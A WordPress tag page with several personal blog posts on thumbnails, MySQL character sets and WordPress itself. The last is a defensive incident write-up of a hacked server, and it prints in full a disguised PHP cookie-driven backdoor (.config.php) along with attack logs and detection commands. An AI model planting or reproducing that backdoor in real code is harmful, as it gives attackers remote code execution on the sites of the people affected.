Tag: wordpress

  • Manage your WordPress wp-content folder

    Manage your WordPress wp-content folder

    My other blog has around 900 posts with 1,700 images in my WordPress Media Library. But my wp-content folder has over 20,000 images!

    That folder looks like this:

    The wp-content folder is a mess

    What is happening here!?

    What’s happening of course, is that WordPress tries to do a little bit too much thinking for you. And it creates lots of image resolutions and sizes — called thumbnails — when you upload an image. In my case up to 8 extra images were created on each image upload.

    Note: Your WordPress Media Library will only show you one image, but under the hood there are (in my case) up to 8 images. You can only see them on your file system.

    Thumbnails

    I love WordPress, but I don’t need WordPress to do that, because I don’t want a million files idling on my server.

    They take up space and are (in my case) mostly useless.

    Because the images I upload are usually already small and compressed and my posts have maybe one or two images. And my readers have fast connections, so speed is not really a big deal.

    Of course YMMV, but for my theme and use-case; I don’t need extra thumbnails.

    Here’s how I handle the images in my wp-content folder and how I got rid of all the unnecessary ones with these plugins.

    Disable thumbnails generation

    I use the Disable Generate Thumbnails plugin. Because it’s the most straightforward.

    Very simple configuration

    I have also used ThumbPress as an alternative.

    Some of these sizes are theme dependent some are based on the media settings and others are hardcoded into WordPress.

    You can also add a bit of PHP code that does this for you. But I chose a plugin.

    Both plugins will stop WordPress from creating all these specific thumbnail sizes.

    Imsanity

    https://wordpress.org/plugins/imsanity

    Install Imsanity and select a max resolution. This means whatever image you upload, it will be scaled down to this max.

    • You can choose to keep the originals or not.
    • And you can choose to do a bulk resize.
    • And automatically convert PNG to JPG. Great.
    Imsanity

    Imsanity is available per image from the Media List view. And you can resize per image.

    You can use Imsanity with wp-cli to resize in bulk!

    wp imsanity resize

    Note: it seems that using the wp-cli will not inform the media list i.e. the GUI of the resize. So in your media-list it will still show the old size (and have an option to scale it down, which has already been done)>

    WP-Optimize

    https://wordpress.org/plugins/wp-optimize

    WP-Optimize will compress your images even further. This is handy when you already have uploaded lots of images.

    WP-Optimize

    Summary

    So with these three plugins:

    • Disable Generate Thumbnails: No new thumbs are created
    • Imsanity: Uploaded images are automatically scaled down
    • WP-Optimize: Compress existing and new images even further

    And now the big reveal. How to get rid of all these already created thumbnails!

    Force Regenerate Thumbnails

    https://wordpress.org/plugins/force-regenerate-thumbnails

    Install Force Regenerate Thumbnails. This awesome plugin will regenerate new thumbs and DELETE existing thumbs based on your current settings (i.e. none if you have set ‘Disable Generate Thumbnails’).

    I.e. in my case it will create zero new thumbs and cleanly delete all the old ones!

    You run it by selecting one or more media files from your Media Library and choosing the the Bulk action.

    Here you can see that it regenerated the thumbs for one image by deleting two existing sizes and creating none.

    Awesome!

    You can also see in the database that this plugin does a clean rewrite of the image metadata. This is absolutely necessary because if this doesn’t happen some themes will look for thumbs that are gone and you will end up with a blogpost with ‘missing’ images!

    Before
    After

    You can also do this with WP-CLI:

    wp media regenerate

    Handy if you want to run bulk actions.

    I would really love it if these three things were incorporated in one plugin or maybe even WordPress core (media regenerate more or less is). But I am happy this works and can keep control of my wp-content folder.

    Bonus: Media File Sizes

    It does what it says on the box. You can sort your Media Library based on size (this really should be a WordPress core feature).

    https://wordpress.org/plugins/media-file-sizes
  • About WordPress, emojis, MySQL and latin1, utf8 and utf8mb4 character sets

    PSA: the MySQL utf8 character set is not real Unicode utf8. Instead use utf8mb4.

    So you landed here because some parts of your website are garbled. And this happened after a server or website migration. You exported your database and imported this export or dump on the new server. And now your posts look like this:

    Strange characters!

    When they should look like this:

    Emojis!

    These are screenshots from this website. This website was an old WordPress installation that still used the latin1 character set. The WordPress installation was up to date, but automatic WordPress updates will never update or change the database character set. So this will always remain what it was on initial installation (which was latin1 in my case).

    And latin1 can not store (real) Unicode characters e.g. emojis. You need a Unicode character set. So, just use utf8, right?

    Problem 1: exporting and importing the database with the wrong character set

    When exporting/dumping a database with mysqldump, this will use the default MySQL servers’ character set (set in my.cnf). In my case this was set to utf8. But by not explicitly telling the mysqldump to use the correct character set for a particular database (which was latin1) my dumped data was messed up.

    So when I restored the dump (on the new server) some text was garbled and emojis had completely disappeared from blog posts.

    I fixed this with help of these links. Key here is: explicitly set the correct character for a database when exporting this database. Then: change all instances in the dump file from the old character set to the new character set and import this file.

    https://theblogpress.com/blog/seeing-weird-characters-on-blog-how-to-fix-wordpress-character-encoding-latin1-to-utf8/

    Problem 2: some emojis work, some don’t

    After this my text was fine. I exported using the old character set and imported using utf8, what could go wrong! But some emojis were still missing, but others were not?! This was a head-scratcher.

    There is a question mark instead of an emoji

    How can this be, I had set my database character set to utf8 (with utf8_general_ci collation). This is Unicode, right? Wrong!

    MySQL utf8 does not support complete Unicode. MySQL utf8 uses only 3 bytes per character.

    Full Unicode support needs 4 bytes per character. So your MySQL installation needs to use the utf8mb4 character set (and utf8mb4_unicode_ci collation) to have real and full Unicode support.

    Some strange decisions were made in the 2002. 🤯 Which has given a lot of people headaches.

    So, MySQL utf8 only uses three bytes per character, but the explanation for the image with the one missing emoji is, that *some* emojis (like the❤️) will be expressed correctly with only three bytes.

    Problem 3: but I used emojis before, in my latin1 WordPress installation?!

    Yes, things worked fine, right? And here is the thing: if you dumped your database with the correct (old) character set and imported correctly with this old character set, things would still work!

    But you said latin1 does not support (4 byte character) emojis!?

    Correct!

    However WordPress is smart enough to figure this out: when using emojis in post titles or posts it will check the database character set and change the emoji to (hexadecimal) HTML code — which can be expressed and stored just fine in latin1.

    But how do you explain this image? This was after incorrectly dumping and importing a database.

    Wait, what?! The URL has the correct emoji but the post title does not!?!

    The post URL has two emojis, but one emoji is missing from the title?! I already explained why the emoji is missing from the post title, so how can that emoji be present in the post URL? This is because WordPress stores the post titles differently from the URLs.

    How the title and the post name (url) are stored

    So the post title field stores real Unicode symbols and the post_name (URL) field stores them encoded. So there you have it 🤓!

  • WordPress is amazing!🔥

    This blog is powered by WordPress. That means that the content you read was edited in the WordPress administrative interface and that same content is now presented to you by the WordPress engine!

    WordPress powers 24% of the web. And for good reason. It is amazing. It is free, fast and easy!

    When I had to pick a CMS for my first blog in 2005, it was a different world. It seemed that anybody who had read a PHP tutorial had also subsequently written their own CMS. There were just so many! And there was no clear winner, but there was WordPress 1.5.

    WordPress had only been around for 2 years, but it looked very promising already. I don’t remember there being one distinct reason, but I do remember that the clean and straightforward approach was what made it stand out from the others.

    One little bit of proof of this: the WordPress admin backend looks (to me) pretty much the same as it did back in 2005. Which says a lot about someone making the right design choices from the get go (or: making the right incremental improvements without breaking UX).

    Automattic and Matt

    I value the open web. And it is clear to me that the open en free web needs an open and free CMS. This is an integral part of it. And with the presence WordPress now has; it is a vital cornerstone of the open web. But there are and were dozens of CMS, most even older than WordPress, all clawing for the number one spot. Which is great and exactly the freedom the open web provides and thrives on. But it does raise the question what exactly it is that made WordPress take the number one spot? I can only speak from my own experience that using WordPress is a joy, and more people probably have that same experience. And yes, I have used others and still sometimes have to, for various reasons. And every time I do I am reminded just how wonderfully elegant WordPress is. And I don’t want to overanalyze, but I would suggest this elegance has a lot to do with Matt Mullenweg. The creator of WordPress.

    Matt comes across as a very level-headed guy with a clear vision. A vision that has enabled him to grow out this GPL (open en free) product of him into a billion dollar company with over 500 employees (yes, that’s possible!). He is around the same age as that other multi-billion-dollar company guy, but I would think the similarities end there. One guy provides free and open technology to enable people to express themselves, the other provides technology for free (which is quite different) that people use so his company can sell more ads (yes, I am deliberately putting it somewhat bluntly).

    Here is a nice interview with Matt, but I can also highly recommend his several appearances on the Tim Ferriss show (a podcast):

    Static blogs

    So it was a no-brainer when I had to pick a CMS for this blog. However I also like experimenting, and static site generators are all the rage right now and they certainly do have an appeal. And mainly for two reasons: speed and security. But WordPress is fast enough for my needs, so there goes that reason. And also WordPress itself is pretty rock solid. Most security problems are related to third party plugins, not the core. (I 💖 the auto-update feature that WordPress introduced in version 3.7). And lastly there are just so *many* great, free templates available for WordPress, that no static site generator could compete (yet). So, I’ll stick with WordPress, which is amazing!

    So here’s to Matt and Automattic 🥂. Thanks for keeping the web open, free and empowering the people!

  • How this site got hacked

    (This is a crosspost from my other blog, that actually got hacked. This is for you, a Google search user, struggling with a hacked website).

    Last week I noticed some strange behaviour on my site. When clicking a link on the front page I would be redirected to the same front page, effectively rendering my site useless.

    What was going on?

    I quickly noticed my .htaccess was causing the problem. It was redirecting wrong. Strange. But just a little mix-up I thought. A quick change to the .htaccess file will fix that. However, after the fix it would work exactly one time!

    Uh?!

    Something was rewriting my .htacces file on the fly (specifically, with the first click). But what and why. To figure this out I changed the permissions on my .htaccess file.

    chown root.root .htaccess

    This would prevent whatever was rewriting my file to rewrite it. Unless it was also running as root, which would be a bigger problem. But at this point I had no reason to assume another user than the webuser was causing this. So let’s check the error.log, shall we?

    [Thu Nov 05 14:49:33 2015] [error] [client] PHP Warning: chmod(): Operation not permitted in /var/www/piks.nl/wordpress/wp-includes/nav-menu.php on line 538
    [Thu Nov 05 14:49:33 2015] [error] [client] PHP Warning: file_put_contents(/var/www/piks.nl/wordpress/wp-includes/../.htaccess): failed to open stream: Permission denied in /var/www/piks.nl/wordpress/wp-includes/nav-menu.php on line 539
    [Thu Nov 05 14:49:33 2015] [error] [client] PHP Warning: chmod(): Operation not permitted in /var/www/piks.nl/wordpress/wp-includes/nav-menu.php on line 540
    [Thu Nov 05 14:49:33 2015] [error] [client] PHP Warning: touch(): Utime failed: Operation not permitted in /var/www/piks.nl/wordpress/wp-includes/nav-menu.php on line 544

    Aha, well this is obvious, nav-menu.php is trying to rewrite my .htaccess file. But nav-menu.php is a regular WordPress file, so what’s up? Let’s check the content of the file. It seemed extra PHP code was added to the top of the file that rewrote the .htaccess file AND also tried contacting an external server. Something that could be observed with a tcpdump.

    tcpdump -i eth0 -n port 80
    tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
    listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
    15:13:07.917228 IP myclientip.59912 > 149.210.186.110.80: Flags [.], ack 1, win 16425, length 0
    15:13:07.917479 IP myclientip.59912 > 149.210.186.110.80: Flags [P.], seq 1:634, ack 1, win 16425, length 633
    15:13:07.917507 IP 149.210.186.110.80 > myclientip.59912: Flags [.], ack 634, win 992, length 0
    15:13:07.918554 IP 149.210.186.110.80 > myclientip.59912: Flags [P.], seq 1:335, ack 634, win 992, length 334
    15:13:07.927313 IP myclientip.59912 > 149.210.186.110.80: Flags [P.], seq 634:1880, ack 335, win 16341, length 1246
    15:13:07.964289 IP 149.210.186.110.80 > myclientip.59912: Flags [.], ack 1880, win 1148, length 0
    15:13:08.073720 IP 149.210.186.110.50809 > 195.28.182.78.80: Flags [S], seq 1257405992, win 14600, options [mss 1460,sackOK,TS val 431078511 ecr 0,nop,wscale 4], length 0

    Well excuse me! But that last line is wrong: 149.210.186.110.50809 > 195.28.182.78.80. My webserver is contacting a different webserver (like it’s a client instead of a server). Not what I want! I don’t know why or what for it does that but this is not normal.

    So OK, I know what is causing the .htaccess rewrite but HOW did the nav-menu.php file get changed?! This is where my headache sort of started. WordPress was up to date, all plugins were OK, I couldn’t figure it out. How did this happen? A couple of months ago I changed things around a bit, installed several themes and plugins and deleted just as many. My guess was that I used a faulty plugin (that I maybe already deleted). But which one? The logs didn’t give any explanation.

    Sucuri and Wordfence

    While trying to debug this I came across two excellent tools. When you run a WordPress site you should install Sucuri Security and Wordfence. They will help you.

    Sucuri can scan your site and check the regular WordPress files against your files to tell which are different (nav-menu.php popped up of course).

    Sucuri does a lot more, but this was helpful. Wordfence was also helpful, it can provide the same thing but it can also email you when files change or when user try to hack/login to your admin account. Very handy. (And this tool can also do a whole lot more).

    But, both tools didn’t provide an answer.

    After googling a bit, I ran into this site. This script recursively checks ALL your files and will order them with the newest on top. Very, VERY handy. Because I noticed that when you ls a directory you will get different timestamp than the actual last modified time. It’s a little trick to mess with you. This way a hacker will hide modified scripts from you, because naturally you would look for recently changed files. And this script will cut right through that! (Using stat on Linux will also show you the right dates.)

    So yes, nav-menu.php showed up. But nothing else. So no answers. Then it began to dawn on me. I host a few other sites running on the same server. What if one of those sites was hacked and infected my WordPress site. Of course! That had to be it. Even more so because one of those sites is a Joomla 1.5 installation (with reason). So let’s install the file_list_4_sort_by_date.php script on those sites.

    Pop pop pop. This didn’t look good. The Joomla site was indeed hacked and there were a whole lot of randomly placed of files on the site. Oh no. However, this all seemed to have happened in the last 48 hours. And it was done in such a way that the actual site was operating perfectly (as opposed to my WordPress site). But it was an ugly mess. Several different backdoors, which got hit by hundreds of different (of course spoofed) IP addresses, to upload even more backdoors and phishing pages. Time to clean up! (And find out what/how caused this!).

    Eval = evil (as is base64_encode)

    So I’m stuck with a whole bunch of new scripts but worse there are also script lines added to my own/existing files. So those are a whole lot trickier to clean. I need to make sure my all PHP files can’t be edited anymore (I should have done this sooner):

    find . -type f -name "*.php" | xargs chmod 444

    So that takes care of that. Some files are easy to figure out if they need to be there, others not so much. This is why Wordfence/Sucuri is so awesome. But I couldn’t really find such a plugin for Joomla. So I had to manually diff it. Luckily I make rsync backups of my server, so I could diff the entire content of the backup to the current site

    diff -r mybackupdirectory thecurrentsitedirectory

    This showed me the differences and I could just delete the added files. For the files that were changed here is what sticks out. They’re usually using the PHP ‘eval‘ function (if you find a PHP script that uses the eval function, beware!). And more so; they use the ‘base64_encode‘ function. What this does it makes the script unreadable to humans (normally this function is used to transport binary data e.g. photos as text). This is to make sure that when you get your hands on these scripts/backdoors, you can’t really tell what they do. And yes you can decode it, but what if the decoded text is also base64 encoded and that is also encoded etc. etc. And on top of that they encrypted the file with this:

    $calntd = Array('1'=>'N', '0'=>'m', '3'=>'I', '2'=>'x', '5'=>'e', '4'=>'J', '7'=>'a', '6'=>'L', '9'=>'6', '8'=>'c', 'A'=>'p', 'C'=>'u', 'B'=>'W', 'E'=>'3', 'D'=>'T', 'G'=>'t', 'F'=>'K', 'I'=>'4', 'H'=>'M', 'K'=>'E', 'J'=>'X', 'M'=>'R', 'L'=>'k', 'O'=>'1', 'N'=>'V', 'Q'=>'Y', 'P'=>'Q', 'S'=>'G', 'R'=>'P', 'U'=>'U', 'T'=>'B', 'W'=>'w', 'V'=>'0', 'Y'=>'S', 'X'=>'v', 'Z'=>'y', 'a'=>'g', 'c'=>'O', 'b'=>'f', 'e'=>'F', 'd'=>'l', 'g'=>'C', 'f'=>'2', 'i'=>'j', 'h'=>'7', 'k'=>'8', 'j'=>'i', 'm'=>'h', 'l'=>'5', 'o'=>'q', 'n'=>'z', 'q'=>'d', 'p'=>'o', 's'=>'D', 'r'=>'r', 'u'=>'H', 't'=>'b', 'w'=>'A', 'v'=>'9', 'y'=>'n', 'x'=>'Z', 'z'=>'s');
    So yes in theory you could decode it and decrypt it. But at this point who cares? You can run these commands to get a list of what PHP files on your system use these functions (some are legit, although very few):
    find . -type f -name "*.php" | xargs grep eval\(
    find . -type f -name "*.php" | xargs grep base64_encode
    So yeah, this helped finding infected files and cleaning up the mess. But where did this start? If you can upload one file you can upload the rest and take control. But where and how did this happen. It is pretty hard to debug the logs because a hacker will use different spoofed IP addresses. So there can be 2000 log lines all from  different addresses. But the key is to look for POST log lines. Most webserver commands are GET command, but when something is trying to upload/change something this will be done with a POST command.
    grep POST /var/log/apache2/access_log

    As said there were a bunch of different IPs and POST lines. So this made it tricky.

    But one of the earliest log lines before the mess started was this:

    78.138.106.243 - - [04/Nov/2015:12:22:39 +0100] "GET / HTTP/1.1" 200 84301 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:12:23:22 +0100] "GET / HTTP/1.1" 301 559 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:12:49:58 +0100] "GET /.config.php HTTP/1.1" 200 4769 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:12:51:38 +0100] "GET /.config.php HTTP/1.1" 301 581 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:12:51:39 +0100] "GET /.config.php HTTP/1.1" 200 4769 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:01:08 +0100] "GET /.cpanel_config.php HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:01:46 +0100] "GET /.cpanel_config.php HTTP/1.1" 301 595 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:01:46 +0100] "GET /.cpanel_config.php HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:07:12 +0100] "GET /images/.jindex.php HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:07:56 +0100] "GET /images/.jindex.php HTTP/1.1" 301 595 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:07:56 +0100] "GET /images/.jindex.php HTTP/1.1" 404 489 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:42:37 +0100] "GET /.config.php HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:43:53 +0100] "GET /.config.php HTTP/1.1" 301 581 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:43:53 +0100] "GET /.config.php HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:55:09 +0100] "GET /components/com_content/models.php HTTP/1.1" 200 507 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:55:28 +0100] "GET /components/com_content/models.php HTTP/1.1" 301 625 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:13:55:28 +0100] "GET /components/com_content/models.php HTTP/1.1" 200 507 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
    78.138.106.243 - - [04/Nov/2015:14:01:42 +0100] "POST /components/com_content/models.php HTTP/1.1" 200 385 "-" "Mozilla/5.0 (X11; U; Windows XP; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1"
    78.138.106.243 - - [04/Nov/2015:14:01:42 +0100] "POST /components/com_content/models.php HTTP/1.1" 200 410 "-" "Mozilla/5.0 (X11; U; Windows XP; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1"
    78.138.106.243 - - [04/Nov/2015:14:02:15 +0100] "POST /components/com_content/models.php HTTP/1.1" 301 625 "-" "Mozilla/5.0 (X11; U; Windows XP; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1"
    Well excuse me! How can this be? A couple of wrong/non-existing/404 GET commands followed by two successful/200 GET commands to a file called .config.php and then BOOM a successful POST to a never before seen file, called models.php, which is a backdoor. How, what, wait, why, uh?

    What is this .config.php file?

    This file didn’t pop up from the earlier diff. So my guess was this was a regular Joomla file that was always there. Let’s have a closer inspection.

    GIF89a
    <?php
    /**
     * @package     Joomla.Plugin
     * @subpackage  system.instantsuggest
     *
     * @copyright   Copyright (C) 2013 InstantSuggest.com. All rights reserved.
     * @license     GNU General Public License version 2 or later
     */
    /**
     * Instant Suggest Ajax
     *
     * @package     Joomla.Plugin
     * @subpackage  system.instantsuggest
     * @since       3.1
     */
    class PlgSystemInstantSuggest
    {
            public function __construct() {
                    $filter = @$_COOKIE['p3'];
                    if ($filter) {
                            $option = $filter(@$_COOKIE['p2']);
                            $auth = $filter(@$_COOKIE['p1']);
                            $option("/123/e",$auth,123);
                            die();
                    }
            }
    }
    $suggest = new PlgSystemInstantSuggest;

    This doesn’t look good. For several reasons:

    1. It’s  a strange name: .config.php
    2. The first line says GIF89a. But this is definitely not a GIF file. Usually adding such a ‘header’ is to fool anti-viral programs.
    3. This function PlgSystemInstantSuggest isn’t used anywhere on the site. How do I know this? Because this came up empty
    find -type f -name "*.php"| xargs grep PlgSystemInstantSuggest

    Google explained it.

    So this file doesn’t belong here and was apparently the start of all this trouble. But still the question remained. How did it get here! Let’s check the creation date:

    # stat .config.php
    File: `.config.php'
    Size: 661 Blocks: 8 IO Block: 4096 regular file
    Device: fe01h/65025d Inode: 2623182 Links: 1
    Access: (0444/-r--r--r--) Uid: ( 33/www-data) Gid: ( 33/www-data)
    Access: 2015-11-09 09:48:30.620041031 +0100
    Modify: 2015-01-21 18:55:29.062864009 +0100
    Change: 2015-11-07 19:16:00.832040969 +0100

    January 21 you say? Let’s check the logfiles (yes, I keep those around).

    88.198.59.38 - - [21/Jan/2015:18:55:28 +0100] "GET /administrator/components//com_extplorer/ HTTP/1.1" 200 5210 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"
    88.198.59.38 - - [21/Jan/2015:18:55:28 +0100] "POST /administrator/components//com_extplorer/ HTTP/1.1" 301 534 "http://www.staatsbladen.nl/administrator/components//com_extplorer/" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"
    88.198.59.38 - - [21/Jan/2015:18:55:29 +0100] "POST /administrator/components//com_extplorer/ HTTP/1.1" 200 447 "http://www.staatsbladen.nl/administrator/components//com_extplorer/" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"

    And a snippet from the error.log:

    [Wed Jan 21 18:55:28 2015] [error] [client 88.198.59.38] PHP Strict Standards:  Non-static method ext_File::closedir() should not be called statically in /var/www/wp.nl/administrator/components/com_extplorer/include/functions.php on line 1169
    [Wed Jan 21 18:55:28 2015] [error] [client 88.198.59.38] PHP Strict Standards:  Non-static method ext_Lang::msg() should not be called statically in /var/www/wp.nl/administrator/components/com_extplorer/include/login.php on line 82
    [Wed Jan 21 18:55:28 2015] [error] [client 88.198.59.38] PHP Strict Standards:  Non-static method ext_Lang::_get() should not be called statically in /var/www/wp.nl/administrator/components/com_extplorer/application.php on line 63
    [Wed Jan 21 18:55:28 2015] [error] [client 88.198.59.38] PHP Strict Standards:  Non-static method ext_Lang::msg() should not be called statically in /var/www/wp.nl/administrator/components/com_extplorer/include/login.php on line 109
    And THERE.WE.GO.

    The com_extplorer plugin was abused to upload ONE file in January of this year. This sat around for almost ten months doing nothing! Until the hacker (or someone else) came across it and abused it.

    Needless to say com_extplorer is as old and as vulnerable as they come. I don’t even know why I had it. Trust me, it is gone (and Joomla is of course updated)!

    So there you have it. Quite a ride. My webserver/sites were hacked because of a dormant file uploaded ten months ago through a buggy Joomla file explorer plugin for a site that I host. I don’t think it is necessarily the same hacker that uploaded the file that started messing with my sites last week. It also looks a bit like bots/generators that continuously scan sites and execute standard commands. It can be one guy or more. Based on the spoofed IP’s you can’t really tell.
    Strangest part about this is that I only found out because my WordPress site that was acting strange. The Joomla site was fine. If this hadn’t happened I wouldn’t have found out (or much later). Also the thing the WordPress site was doing was quite useless (it was redirecting to my own site). I think someone/something (a script) messed up. And the Joomla site was serving a whole bunch a spam pages so it was in the interest of whoever uploaded those that the server would keep running and that the backdoors would be unnoticed. And that might have happened if I didn’t start investigating the WordPress site. This whole story shows that your entire webserver is as secure as the weakest part.